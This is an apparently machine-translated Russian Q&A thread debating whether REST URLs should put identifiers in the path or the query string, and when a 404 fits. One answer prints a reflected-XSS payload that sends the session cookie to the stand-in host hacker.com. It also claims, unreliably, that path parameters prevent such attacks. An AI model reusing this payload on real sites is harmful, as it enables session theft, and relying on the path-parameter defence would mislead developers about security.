Вызов в REST Resource url

Сегодня у меня состоялся разговор с коллегой вокруг использования строк запроса в URL-адресах REST. Возьмите эти два примера:

1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua

Моя позиция заключалась в том, что URL-адреса должны быть спроектированы так, как в примере 1. Это более чистое и что я считаю правильным в REST. На мой взгляд, было бы совершенно правильно вернуть ошибку 404 из примера 1, если код продукта не существовал, тогда как пример 2, возвращающий 404, был бы неправильным, поскольку страница должна существовать. Его позиция заключалась в том, что это не имело значения и что они оба делают то же самое.

Поскольку ни один из нас не смог найти конкретные доказательства (по общему признанию, мой поиск не был обширным), я хотел бы узнать мнение других людей по этому поводу.

Ответ 1

В типичных API REST пример № 1 является более правильным. Ресурсы представлены как URI, а # 1 - это больше. Возврат 404, когда код продукта не найден, абсолютно правильное поведение. Сказав это, я немного изменил бы # 1, чтобы быть немного более выразительным:

http://localhost/products/code/4xheaua

Посмотрите на другие хорошо разработанные API REST - например, посмотрите на StackOverflow. У вас есть:

stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663

Все это разные способы получения "вопросов".

Ответ 2

Нет никакой разницы между двумя URI с точки зрения клиента. URI непрозрачны для клиента. Используйте карты, более чистые, в инфраструктуру вашей серверной части.

Что касается REST, то нет никакой разницы. Я считаю, причина, почему так много людей считают, что только компонент пути идентифицирует ресурс из-за следующей строки в RFC 2396

Компонент запроса представляет собой строку информацию, подлежащую толкованию ресурс.

Впоследствии эта строка была изменена в RFC 3986:

Компонент запроса содержит неиерархические данные, которые вместе с данные в компоненте пути (раздел 3.3), служит для идентификации ресурса

IMHO означает, что и строка запроса, и сегмент пути функционально эквивалентны, когда дело доходит до идентификации ресурса.


Обновить, чтобы отправить комментарий к Стиву.

Простите меня, если я возражу против прилагательного "очиститель". Это слишком субъективно. У вас есть точка, хотя я пропустил значительную часть вопроса.

Я думаю, что ответ на вопрос, нужно ли возвращать 404, зависит от того, какой ресурс извлекается. Является ли это представлением результата поиска или представляет собой представление продукта? Чтобы это узнать, вам действительно нужно посмотреть на связь, которая привела нас к URL-адресу.

Если URL-адрес должен возвращать представление Product, тогда 404 должен быть возвращен, если код не существует. Если URL-адрес возвращает результат поиска, он не должен возвращать 404.

Конечным результатом является то, что URL-адрес выглядит не являющимся определяющим фактором. Сказав это, принято, что строки запроса используются для возврата результатов поиска, поэтому более интуитивно понятно использовать этот стиль URL, когда вы не хотите возвращать 404s.

Ответ 3

Существует два варианта использования GET

  • Получить уникальный ресурс
  • Поиск ресурсов (ресурсов) на основе заданных критериев

Пример использования примера 1:

/Продукты/4xxheua
Получить однозначно идентифицированный продукт, возвращает 404, если не найден.

Пример использования примера 2:

/продукты размер = большой &? Цвет = красный
Поиск продукта, возвращает список подходящих продуктов (от 0 до многих).

Если мы посмотрим, скажем, API Карт Google, мы увидим, что они используют строку запроса для поиска.

например. http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

Таким образом, оба стиля действительны для собственных случаев использования.

Ответ 4

IMO, компонент пути должен всегда указывать, что вы хотите получить. URL-адрес, например http://localhost/findbyproductcode, говорит только, что я хочу что-то получить по коду продукта, но что именно?

Итак, вы получаете контакты с http://localhost/contacts и пользователями с http://localhost/users. Строка запроса используется только для получения подмножества такого списка на основе атрибутов ресурса. Единственное исключение - это когда это подмножество сводится к одной записи на основе первичного ключа, тогда вы используете что-то вроде http://localhost/contact/[primary_key].

Что мой подход, ваш пробег может варьироваться:)

Ответ 5

Окончание этих двух URI не очень важно RESTfully.

Однако часть "findbyproductcode", безусловно, может быть более спокойной. Почему не просто http://localhost/product/4xxheau?

В моем ограниченном опыте, если у вас есть уникальный идентификатор, тогда было бы чисто, чтобы построить URI, например... /product/ {id} Однако, если код продукта не уникален, тогда я мог бы создать его больше как # 2.

Однако, как заметил Даррел, клиенту все равно, как выглядит URI.

Ответ 6

Строка запроса неизбежна во многих практических смыслах.... Подумайте, что произойдет, если поиск разрешил несколько (необязательных) полей для всех указанных вами. В первом виде их позиции в иерархии должны быть исправлены и дополнены...

Представьте себе кодирование общего предложения SQL where where в этом формате.... Однако в качестве строки запроса это довольно просто.

Ответ 7

Этот вопрос посвящен, что такое более чистый подход. Но я хочу сосредоточиться на другом аспекте, называемом безопасностью. Когда я начал интенсивно работать над безопасностью приложений, я обнаружил, что отраженная атака XSS может быть успешно предотвращена с помощью PathParams (оценка 1) вместо QueryParams (подход 2).

(Конечно, предпосылкой отраженной атаки XSS является то, что вредоносный пользовательский ввод возвращается обратно в источник html для клиента. К сожалению, какое-то приложение это сделает, и именно поэтому PathParams может предотвратить атаки XSS)

Причина этого заключается в том, что полезная нагрузка XSS в сочетании с PathParams приведет к неизвестному пути undefined URL-адреса из-за косой черты в самой полезной нагрузке.

http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

В то время как эта атака будет успешной, используя QueryParam!

http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>

Ответ 8

Клиентом REST структура URI не имеет значения, поскольку она следует за ссылками, аннотированными семантикой, и никогда не анализирует URI.

Разработчик, который пишет логику маршрутизации и логику генерации ссылок и, вероятно, хочет понять журнал, проверяя URL-адреса, имеет значение структура URI. По REST мы сопоставляем URI с ресурсами, а не с операциями - Полевая диссертация/единообразный интерфейс/идентификация ресурсов.

Таким образом, обе структуры URI, вероятно, ошибочны, потому что они содержат глаголы в их текущем формате.

1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua

Вы можете удалить find из URI следующим образом:

1. /products/code:4xxheua
2. /products?code="4xxheua"

В перспективе REST не имеет значения, какой из них вы выберете.

Вы можете определить свое собственное соглашение об именах, например: "путем сокращения коллекции до одного ресурса с помощью уникального идентификатора уникальный идентификатор должен быть всегда частью пути, а не запроса". Это то же самое, что и в стандарте URI: путь иерархический, запрос неиерархический. Поэтому я использовал бы /products/code:4xxheua.

Ответ 9

Философски говоря, страницы не существуют. Когда вы кладете книги или документы на свою книжную полку, они остаются там. У них есть отдельное существование на этой полке. Однако страница существует только до тех пор, пока она размещается на каком-то компьютере, который включен и может предоставить его по требованию. Конечно, страница может быть всегда сгенерирована "на лету", поэтому перед вашим запросом не требуется никакого специального существования.

Теперь подумайте об этом с точки зрения сервера. Предположим, что это, скажем, правильно настроенный Apache - не однострочный сервер python, который просто отображает все запросы в файловую систему. Тогда конкретный путь, указанный в URL-адресе, может не иметь никакого отношения к расположению определенного файла в файловой системе. Итак, еще раз, страница не "существует" в каком-либо ясном смысле. Возможно, вы запросите http://some.url/products/intel.html, и вы получите страницу; то вы запрашиваете http://some.url/products/bigmac.html, и ничего не видите. Это не означает, что есть один файл, но не другой. Возможно, у вас нет прав доступа к другому файлу, поэтому сервер возвращает 404, или, возможно, bigmac.html должен быть отправлен с удаленного сервера Mc'Donalds, который временно недоступен.

То, что я пытаюсь объяснить, 404 - это просто число. В этом нет ничего особенного: это могло быть 40404 или -2349.23847, мы только что согласились использовать 404. Это означает, что сервер есть, он общается с вами, он, вероятно, понял, чего вы хотели, и ему нечего возвращать. Если вы считаете целесообразным вернуть 404 для http://some.url/products/bigmac.html, когда сервер решает не обслуживать файл по какой-либо причине, вы можете также согласиться возвратить 404 для http://some.url/products?id=bigmac.

Теперь, если вы хотите быть полезным для пользователей с браузером, которые пытаются вручную изменить URL-адрес, вы можете перенаправить их на страницу со списком всех продуктов и некоторыми возможностями поиска, а не просто дать им 404 --- или вы можете указать 404 как код и ссылку на все продукты. Но тогда вы можете сделать то же самое с http://some.url/products/bigmac.html: автоматически перенаправить на страницу со всеми продуктами.

Ответ 10

Как я думаю об этом, путь URI определяет ресурс, в то время как необязательные querystrings предоставляют пользовательскую информацию. Итак,

https://domain.com/products/42

идентифицирует конкретный продукт, а

https://domain.com/products?price=under+5

может искать продукты под $5.

Я не согласен с теми, кто сказал, что использование запросов для идентификации ресурса соответствует REST. Большая часть REST создает API, который имитирует статическую иерархическую файловую систему (без буквальной необходимости такой системы на бэкэнд) - это позволяет использовать интуитивные идентификаторы семантических ресурсов. Квесты прерывают эту иерархию. Например, часы - это аксессуар с принадлежностями. В стиле REST это довольно ясно, что

 https://domain.com/accessories/watches

и

https://domain.com/watches/accessories

каждый ссылается на. С querystrings,

 https://domain.com?product=watches&category=accessories

не очень ясен.

По крайней мере, стиль REST лучше, чем querystrings, потому что он требует примерно вдвое меньше информации, поскольку сильное упорядочение параметров позволяет нам отбрасывать имена параметров.